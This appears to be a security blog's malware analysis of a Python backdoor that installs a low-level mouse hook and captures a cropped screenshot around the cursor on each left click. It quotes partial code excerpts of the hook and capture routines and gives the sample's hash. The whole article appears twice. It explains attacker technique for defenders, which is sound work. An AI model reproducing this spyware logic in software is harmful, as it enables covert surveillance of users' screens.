Today, everything is “smart” or “intelligent”. We have smartphones, smart cars, smart doorbells, etc. Being "smart" means performing actions depending on the context, the environment, or user actions.
For a while, backdoors and trojans have implemented screenshot capabilities. From an attacker’s point of view, it’s interesting to “see” what’s displayed on the victim’s computer. To take a screenshot in Python is easy as this:
import pyautogui screenshot = pyautogui.screenshot(‘screenshot.png')
You have two approaches to record screenshots:
- On-demand, when the C2 server issues a command like “TAKE_SCREENSHOT”
- At regular intervals (every x seconds)
In the first case, the attacker needs to interact with the malware and can miss interesting “screens”. In the second one, the technique will generate a lot of overloads (CPU, storage, bandwidth, …)
Yesterday, I spotted an interesting Python backdoor that implements many classic features (like keylogger, port-scanner, …) but also a “smart” screenshot feature. Why smart? Because a screenshot is taken... when the user clicks on the mouse!
Windows is an event-based operating system. A program can attach to a message bus and listen for specific events (ex: mouse, keyboard, …). When such an event is detected, a defined function is executed (in ASM, you instruct the CPU to jump to a specific location in memory).
How does it work? The attacker defines a “hook” (or a listener) for mouse events:
def install_hook(self): CMPFUNC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) self.pointer = CMPFUNC(self.hook_proc) self.hooked = self.lUser32.SetWindowsHookExA(WH_MOUSE_LL, self.pointer, kernel32.GetModuleHandleW(None), 0) if not self.hooked: return False return True
The interesting API call is SetWindowsHookExA() combined with the WH_MOUSE_LL event type[1]. How to interpret this? From now, when the mouse is used, the program will execute self.pointer (self.hook_proc).
Here is the called function:
def hook_proc(self, nCode, wParam, lParam): if wParam == 0x201: buf, height, width = self.get_screenshot() exe, win_title="unknown", "unknown" try: exe, win_title=get_current_process() except Exception: pass self.screenshots.append((str(datetime.now()), height, width, exe, win_title, buf.encode('base64'))) return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) The screenshot capture will be triggered when the wParam is 0x201. This value corresponds to a WM_LBUTTON_DOWN[2] event (when the user presses the left mouse button). Note the function calls CallNextHookEx() to continue to listen to events.
Even better, the attacker does not capture a full screenshot but only the interesting area (where the victim clicked)
def get_screenshot(self): pos = queryMousePosition() limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN) limit_height = GetSystemMetrics(SM_CYVIRTUALSCREEN) limit_left = GetSystemMetrics(SM_XVIRTUALSCREEN) limit_top = GetSystemMetrics(SM_YVIRTUALSCREEN) height = min(100,limit_height) width = min(200,limit_width) left = max(pos['x']-100,limit_left) top = max(pos['y']-50,limit_top) ...
I find this technique clever because the attacker increases the chances of seeing juivy information around the mouse. Example:
The file SHA256 is 34000abaac50ac84d493d2e55b6fb002fe06920b344f02ee55ff77e725793981[3] and has a low VT score (only 6/60).
[1] https://learn.microsoft.com/en-us/windows/win32/winmsg/about-hooks#wh_mouse_ll
[2] https://github.com/mwinapi/mwinapi/blob/master/ManagedWinapi/Hooks/LowLevelHook.cs
[3] https://bazaar.abuse.ch/sample/34000abaac50ac84d493d2e55b6fb002fe06920b344f02ee55ff77e725793981/
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Today, everything is “smart” or “intelligent”. We have smartphones, smart cars, smart doorbells, etc. Being "smart" means performing actions depending on the context, the environment, or user actions.
For a while, backdoors and trojans have implemented screenshot capabilities. From an attacker’s point of view, it’s interesting to “see” what’s displayed on the victim’s computer. To take a screenshot in Python is easy as this:
import pyautogui screenshot = pyautogui.screenshot(‘screenshot.png')
You have two approaches to record screenshots:
- On-demand, when the C2 server issues a command like “TAKE_SCREENSHOT”
- At regular intervals (every x seconds)
In the first case, the attacker needs to interact with the malware and can miss interesting “screens”. In the second one, the technique will generate a lot of overloads (CPU, storage, bandwidth, …)
Yesterday, I spotted an interesting Python backdoor that implements many classic features (like keylogger, port-scanner, …) but also a “smart” screenshot feature. Why smart? Because a screenshot is taken... when the user clicks on the mouse!
Windows is an event-based operating system. A program can attach to a message bus and listen for specific events (ex: mouse, keyboard, …). When such an event is detected, a defined function is executed (in ASM, you instruct the CPU to jump to a specific location in memory).
How does it work? The attacker defines a “hook” (or a listener) for mouse events:
def install_hook(self): CMPFUNC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) self.pointer = CMPFUNC(self.hook_proc) self.hooked = self.lUser32.SetWindowsHookExA(WH_MOUSE_LL, self.pointer, kernel32.GetModuleHandleW(None), 0) if not self.hooked: return False return True
The interesting API call is SetWindowsHookExA() combined with the WH_MOUSE_LL event type[1]. How to interpret this? From now, when the mouse is used, the program will execute self.pointer (self.hook_proc).
Here is the called function:
def hook_proc(self, nCode, wParam, lParam): if wParam == 0x201: buf, height, width = self.get_screenshot() exe, win_title="unknown", "unknown" try: exe, win_title=get_current_process() except Exception: pass self.screenshots.append((str(datetime.now()), height, width, exe, win_title, buf.encode('base64'))) return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) The screenshot capture will be triggered when the wParam is 0x201. This value corresponds to a WM_LBUTTON_DOWN[2] event (when the user presses the left mouse button). Note the function calls CallNextHookEx() to continue to listen to events.
Even better, the attacker does not capture a full screenshot but only the interesting area (where the victim clicked)
def get_screenshot(self): pos = queryMousePosition() limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN) limit_height = GetSystemMetrics(SM_CYVIRTUALSCREEN) limit_left = GetSystemMetrics(SM_XVIRTUALSCREEN) limit_top = GetSystemMetrics(SM_YVIRTUALSCREEN) height = min(100,limit_height) width = min(200,limit_width) left = max(pos['x']-100,limit_left) top = max(pos['y']-50,limit_top) ...
I find this technique clever because the attacker increases the chances of seeing juivy information around the mouse. Example:
The file SHA256 is 34000abaac50ac84d493d2e55b6fb002fe06920b344f02ee55ff77e725793981[3] and has a low VT score (only 6/60).
[1] https://learn.microsoft.com/en-us/windows/win32/winmsg/about-hooks#wh_mouse_ll
[2] https://github.com/mwinapi/mwinapi/blob/master/ManagedWinapi/Hooks/LowLevelHook.cs
[3] https://bazaar.abuse.ch/sample/34000abaac50ac84d493d2e55b6fb002fe06920b344f02ee55ff77e725793981/
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
